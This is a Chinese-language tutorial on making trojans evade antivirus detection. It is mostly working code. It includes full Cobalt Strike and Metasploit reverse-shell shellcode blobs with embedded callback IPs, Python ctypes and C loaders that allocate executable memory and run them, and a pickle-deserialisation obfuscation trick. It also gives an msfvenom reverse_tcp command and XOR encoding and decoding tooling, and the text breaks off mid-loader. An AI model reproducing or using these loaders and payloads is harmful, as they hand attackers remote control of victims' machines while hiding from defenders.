木马免杀
作者:互联网
最近学了点木马免杀,其实总结起来一共有三个层面,代码面,文件面,逻辑面。
代码层面可以通过shellcode编码混淆,编辑执行器,分离加载器等方法进行免杀
文件面可以通过特征码定位,加壳花指令等方式
逻辑面可以通过一些反vt虚拟机的方法进行免杀
下面先介绍一些语言的shellcode加载方式和一些免杀方法,有些可能不是很全,主要为大家提供一些思路
后面不足再补充
Python加载shellcode
ctypes
ctypes是 Python的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。
dll动态链接库
动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。其后缀名多为.dll, dll文件中包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。我们经常在程序安装目录下看到它们。
shellcode加载器
python加载shellcode可以使用该代码来加载:
import ctypes
#
#cs加载
#shellcode=b'\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x79\x49\x53\x47\x00\x92\x55\x4a\xe7\x6f\x4e\x93\x97\xf6\xdb\x8a\xc2\x8c\x89\xfe\x25\x7d\x9f\x6c\x95\x75\x15\xaf\x9f\x9c\x1b\x9b\x2b\x0b\x54\xf8\x7c\xb5\xba\xe6\x4b\x3f\x0c\x33\xb3\xf3\x62\x1a\x7c\xe0\x4e\xc0\x97\x25\x6c\x67\x67\xaf\x8c\xa1\x88\xd1\xd0\xc6\x98\x63\x6d\x13\x81\xf2\x97\x88\xed\x56\x3f\xd5\x5b\x5d\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x38\x3b\x20\x4d\x41\x41\x55\x3b\x20\x4e\x50\x30\x38\x29\x0d\x0a\x00\x6d\xdf\xa6\xd0\x31\xf7\x38\x53\xf5\x98\x6e\x4c\x89\x71\x8f\xb4\x2c\x39\xfd\x57\x06\xbd\xf9\x47\xd9\x15\xc5\x92\x4a\x7e\x0e\xa1\x26\xc4\xc9\x70\xdd\x98\xec\xdb\xc6\x95\x4a\x6e\xcb\x43\x8c\x4e\xb6\x17\xd2\xe7\x31\x46\xe0\x93\x09\x39\xfc\xe7\xb1\xf4\xa8\xf0\xf1\x70\x0b\x0b\x71\xe2\x9f\x1d\x5a\x2f\x57\xe1\x5e\xdf\x39\xd9\x56\x5a\x06\x9e\x3c\x64\xb7\x08\xed\xf6\x9e\x25\x72\x6c\xee\x92\x06\x75\xef\xfc\x12\xb7\xe5\xa5\xe9\xe8\x50\x7a\xb1\xe5\x27\xf9\x73\xc2\x13\x66\x6c\x3e\xa0\x8a\x9c\x8a\x51\xca\xf4\x35\xb8\x6f\xb0\xfc\xc9\x7f\xc7\x57\x6f\xc1\xcf\x2b\x39\xf2\x8d\x5b\xcd\xa6\x14\x85\xa2\xc0\x3c\x6c\x5d\xfc\x55\xfa\xaa\xf7\x05\xac\x48\x76\x9c\xba\x51\x14\xed\x7c\x72\x01\x81\x6b\xca\x13\x5e\x55\x09\x90\x07\x7b\xf2\x27\xc0\x4c\x2f\x58\x43\x3c\x07\x83\xf8\xe5\x5c\x1a\xb6\x68\x93\xe4\x51\xfc\x51\x68\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x34\x37\x2e\x39\x34\x2e\x32\x33\x36\x2e\x31\x31\x37\x00\x00\x01\x86\xa0'
#msf加载
# shellcode = b""
# shellcode += b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
# shellcode += b"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x31"
# shellcode += b"\xff\x8b\x72\x28\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20"
# shellcode += b"\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b"
# shellcode += b"\x42\x3c\x57\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01"
# shellcode += b"\xd0\x50\x8b\x58\x20\x8b\x48\x18\x01\xd3\x85\xc9\x74"
# shellcode += b"\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac\xc1"
# shellcode += b"\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d"
# shellcode += b"\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b"
# shellcode += b"\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
# shellcode += b"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b"
# shellcode += b"\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
# shellcode += b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff"
# shellcode += b"\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
# shellcode += b"\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
# shellcode += b"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
# shellcode += b"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68"
# shellcode += b"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08"
# shellcode += b"\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57"
# shellcode += b"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b"
# shellcode += b"\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
# shellcode += b"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
# shellcode += b"\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68"
# shellcode += b"\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff"
# shellcode += b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c"
# shellcode += b"\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01"
# shellcode += b"\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
# shellcode += b"\x53\xff\xd5"
# print(shellcode)
shellcode=b'\xfc\xe8\x8f\x00\x00\x00`\x89\xe51\xd2d\x8bR0\x8bR\x0c\x8bR\x14\x0f\xb7J&1\xff\x8br(1\xc0\xac<a|\x02, \xc1\xcf\r\x01\xc7Iu\xefR\x8bR\x10\x8bB<W\x01\xd0\x8b@x\x85\xc0tL\x01\xd0P\x8bX \x8bH\x18\x01\xd3\x85\xc9t<1\xffI\x8b4\x8b\x01\xd61\xc0\xac\xc1\xcf\r\x01\xc78\xe0u\xf4\x03}\xf8;}$u\xe0X\x8bX$\x01\xd3f\x8b\x0cK\x8bX\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89D$$[[aYZQ\xff\xe0X_Z\x8b\x12\xe9\x80\xff\xff\xff]h32\x00\x00hws2_ThLw&\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00)\xc4TPh)\x80k\x00\xff\xd5j\nh/^\xecuh\x02\x00\x1a \x89\xe6PPPP@P@Ph\xea\x0f\xdf\xe0\xff\xd5\x97j\x10VWh\x99\xa5ta\xff\xd5\x85\xc0t\n\xffN\x08u\xec\xe8g\x00\x00\x00j\x00j\x04VWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00~6\x8b6j@h\x00\x10\x00\x00Vj\x00hX\xa4S\xe5\xff\xd5\x93Sj\x00VSWh\x02\xd9\xc8_\xff\xd5\x83\xf8\x00}(Xh\x00@\x00\x00j\x00Ph\x0b/\x0f0\xff\xd5WhunMa\xff\xd5^^\xff\x0c$\x0f\x85p\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3)\xc6u\xc1\xc3\xbb\xf0\xb5\xa2Vj\x00S\xff\xd5'
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
将cs或msf生成的shellcode赋给shellcode变量,运行脚本即可
msf生成c语言shellcode
msfvenom -p windows/meterpreter/reverse_tcp lhost=ip lport=6688 -f c
cs生成c语言shellcode
选择c文件即可生成payload.c到本地
shellcode反序列化
上面为常规的shellcode加载方式,免杀效果很差,接下来我们对代码做一些文章
先看下面的代码
import pickle
import base64
shellcode = '''
import ctypes,base64
encode_shellcode=b'/OiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZdaG5ldABod2luaVRoTHcmB//VMf9XV1dXV2g6Vnmn/9XphAAAAFsxyVFRagNRUWiRHwAAU1BoV4mfxv/V63BbMdJSaAACQIRSUlJTUlBo61UuO//VicaDw1Ax/1dXav9TVmgtBhh7/9WFwA+EwwEAADH/hfZ0BIn56wloqsXiXf/VicFoRSFeMf/VMf9XagdRVlBot1fgC//VvwAvAAA5x3S3Mf/pkQEAAOnJAQAA6Iv///8vcUtqNgDnDUKQzbFJgn1MGnuswXkME+13hj1sZUf8l1pRtYbdau51eAnl14hrL5p1J6o++qDd3PG2CWgAgM1RfWNjgpkmVb0kuf4DZeo9AFVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDEwLjA7IFdpbmRvd3MgTlQgNi4yOyBUcmlkZW50LzYuMCkNCgCtcNmom+m0PlEQJIjE3erfPr68ECmWtnltx/qkbjpqb4fcrBNkbJgObjIHSLLd1wYkTJ3S3Ui/BzEaJC6pcth1G9p5e0dHCjc8yxs6YclVQOnvA4HXor97EzCHyjQTZcaPwlLtMQL7tUYQhCrnVPr8SpZU0w0JsbUCvSqWZ12qW/5x66wctc31Hw9954rt7ywul27znqTMMbMvI34GnwwMuKE4+eFtfWxq7KZCR4MWFo2P64pmkZzC00lpI4Qvl0VJDtglGGWuzkA20Z0ACyQ/p41NoSgTDCseexLyGETo4gBo8LWiVv/VakBoABAAAGgAAEAAV2hYpFPl/9WTuQAAAAAB2VFTiedXaAAgAABTVmgSloni/9WFwHTGiwcBw4XAdeVYw+ip/f//MTkyLjE2OC4zLjEzMQASNFZ4'
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)'''
class A(object):
def __reduce__(self):
return (exec, (shellcode,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
print(ret_base64)
pickle模块可以把 Python 对象直接保存到文件里,说白了就是进行序列化的操作
reduce 为魔术方法,在反序列化的时候调用,而他会返回一个exec执行的shellcode
shellcode变量里其实就是我们上文中的加载代码(变量里用msf或cs生成的shellcode用了base64编码)
我们运行该代码即可得到序列化之后的shellcode加载代码
在进行上线时使用下面代码
import base64,pickle,ctypes
shellcode=b'gASV0QUAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFiyBQAACmltcG9ydCBjdHlwZXMsYmFzZTY0CmVuY29kZV9zaGVsbGNvZGU9YicvT2lKQUFBQVlJbmxNZEpraTFJd2kxSU1pMUlVaTNJb0Q3ZEtKakgvTWNDc1BHRjhBaXdnd2M4TkFjZmk4RkpYaTFJUWkwSThBZENMUUhpRndIUktBZEJRaTBnWWkxZ2dBZFBqUEVtTE5Jc0IxakgvTWNDc3djOE5BY2M0NEhYMEEzMzRPMzBrZGVKWWkxZ2tBZE5taXd4TGkxZ2NBZE9MQklzQjBJbEVKQ1JiVzJGWldsSC80RmhmV29zUzY0WmRhRzVsZEFCb2QybHVhVlJvVEhjbUIvL1ZNZjlYVjFkWFYyZzZWbm1uLzlYcGhBQUFBRnN4eVZGUmFnTlJVV2lSSHdBQVUxQm9WNG1meHYvVjYzQmJNZEpTYUFBQ1FJUlNVbEpUVWxCbzYxVXVPLy9WaWNhRHcxQXgvMWRYYXY5VFZtZ3RCaGg3LzlXRndBK0V3d0VBQURIL2hmWjBCSW41Nndsb3FzWGlYZi9WaWNGb1JTRmVNZi9WTWY5WGFnZFJWbEJvdDFmZ0MvL1Z2d0F2QUFBNXgzUzNNZi9wa1FFQUFPbkpBUUFBNkl2Ly8vOHZjVXRxTmdEbkRVS1F6YkZKZ24xTUdudXN3WGtNRSsxM2hqMXNaVWY4bDFwUnRZYmRhdTUxZUFubDE0aHJMNXAxSjZvKytxRGQzUEcyQ1dnQWdNMVJmV05qZ3BrbVZiMGt1ZjREWmVvOUFGVnpaWEl0UVdkbGJuUTZJRTF2ZW1sc2JHRXZOUzR3SUNoamIyMXdZWFJwWW14bE95Qk5VMGxGSURFd0xqQTdJRmRwYm1SdmQzTWdUbFFnTmk0eU95QlVjbWxrWlc1MEx6WXVNQ2tOQ2dDdGNObW9tK20wUGxFUUpJakUzZXJmUHI2OEVDbVd0bmx0eC9xa2JqcHFiNGZjckJOa2JKZ09iaklIU0xMZDF3WWtUSjNTM1VpL0J6RWFKQzZwY3RoMUc5cDVlMGRIQ2pjOHl4czZZY2xWUU9udkE0SFhvcjk3RXpDSHlqUVRaY2FQd2xMdE1RTDd0VVlRaENyblZQcjhTcFpVMHcwSnNiVUN2U3FXWjEycVcvNXg2NndjdGMzMUh3OTk1NHJ0N3l3dWwyN3pucVRNTWJNdkkzNEdud3dNdUtFNCtlRnRmV3hxN0taQ1I0TVdGbzJQNjRwbWtaekMwMGxwSTRRdmwwVkpEdGdsR0dXdXprQTIwWjBBQ3lRL3A0MU5vU2dURENzZWV4THlHRVRvNGdCbzhMV2lWdi9WYWtCb0FCQUFBR2dBQUVBQVYyaFlwRlBsLzlXVHVRQUFBQUFCMlZGVGllZFhhQUFnQUFCVFZtZ1Nsb25pLzlXRndIVEdpd2NCdzRYQWRlVll3K2lwL2YvL01Ua3lMakUyT0M0ekxqRXpNUUFTTkZaNCcKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShlbmNvZGVfc2hlbGxjb2RlKQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEplIWUUpQu'
pickle.loads(base64.b64decode(shellcode))
shellcode后写上上诉生成的序列化代码
pickle.loads为反序列化操作
运行该代码即可上线
C加载ShellCode
首先cs生成shellcode
使用下面的代码
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20\x01\xd3\x50"
"\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31\xff\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x2f\x5e\xec\x75\x68\x02"
"\x00\x1a\x20\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
//((void(WINAPI*)(void))&buf)();
//char* Memory;
//Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy(Memory, buf, sizeof(buf));
//((void(*)())Memory)();
//__asm {
//lea eax,buf
//call eax
//}
//__asm{
//mov eax, offset shellcode
//_emit 0xFF
//_emit 0xE0
//}
}
在mian函数中有四个注释块,分别代表四个不同的加载形式,随便用一个即可
使用vs 2019打开选择生成解决方案即可生成exe文件
运行exe即可上线
xor加密
先试用cs生成一个bin文件,选择raw输出格式
使用xor异或加密脚本
python xor.py -s payload.bin -d payload.c -n 10 -r out.binimport sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: 471656814@qq.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main()
将生成的payload.bin放置同一目录
使用python xor.py -s payload.bin -d payload.c -n 10 -r out.bin
即可生成加密后的payload.c
再使用解密脚本
#include <Windows.h>
// 入口函数
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */
unsigned char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9b\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x4a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x6b\x3f\x7e\x58\x0a\xff\x67\x01\xee\xb8\x23\xd9\xbf\xf0\x67\xc9\xb9\x7a\xda\x50\x76\x21\x30\x82\x70\x3a\x53\xd3\x0c\xda\x43\xf8\x1a\xa5\x2f\x8f\xf4\x30\x15\x71\x7f\xf6\xa0\x30\xfc\x40\x0d\xe2\x16\x5d\x31\x49\x90\x17\xe9\x40\x37\x22\x72\x29\x67\xe4\x27\x5b\x1c\xa4\xc8\x0b\x2c\x3b\x0f\x22\x88\xd1\x82\x60\x8a\x94\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3e\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x3d\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3f\x24\x3b\x31\x2a\x24\x44\x4f\x5e\x2a\x49\x46\x58\x2a\x38\x24\x3a\x24\x3f\x3a\x3d\x38\x3d\x31\x2a\x43\x64\x6c\x65\x5a\x6b\x7e\x62\x24\x38\x23\x07\x00\x0a\xaa\x0a\x95\x44\x8f\x94\x5e\x80\xa4\x48\x25\x5f\xb4\x35\x4a\x12\x78\x1e\x82\x9f\x27\x52\xd9\x9e\xbd\x0c\x7a\x10\xb2\xa5\x0d\x71\x23\xda\xc4\xb2\x69\xf4\xc2\x57\xa4\xad\x1c\x61\x6a\x35\xa7\xc4\x8d\x81\x5a\x05\x77\x65\xd8\xd8\x41\x23\x6a\xa0\xae\x6a\xfb\x0c\xbd\xb4\x54\xcd\xcc\x7b\xeb\x91\xed\xcc\xef\xd8\xc6\x27\x1f\xfb\xcd\xcf\x21\xc8\x12\x79\x3e\x86\x17\x26\x1d\x4d\x4e\x61\xf8\x6b\xb8\x93\x95\x9c\xba\x5a\xc4\xe4\x9f\xb6\x5b\x66\x85\x35\xa1\x6f\xf9\xa8\x5c\x3f\x3c\xe1\x76\x0a\xfe\xf7\x1f\xfb\xbb\xf3\x8d\xbd\x61\x5b\x07\xa2\x19\x39\x3e\x4f\x7a\x7a\x71\xfe\xe3\x81\x64\xef\xe1\x5d\x1d\x11\xe9\x83\x91\x57\x23\xc2\xb5\x28\x6c\xc9\xe2\x76\xd0\xfb\x52\x7f\x5e\xfc\x6f\x2e\x10\x79\x4f\x36\x04\x30\xa4\x93\x0a\x57\x98\xe0\x60\xd1\x6f\x98\x0a\x10\x94\x75\x3d\xb2\x8c\x63\xc2\x16\x50\x9f\x6f\x31\x61\xff\x37\xe5\xc1\x7d\x32\x4b\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x39\x24\x3b\x39\x3b\x0a\x18\x3e\x5c\x72";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char* shellcode = (char*)VirtualAlloc(
NULL,
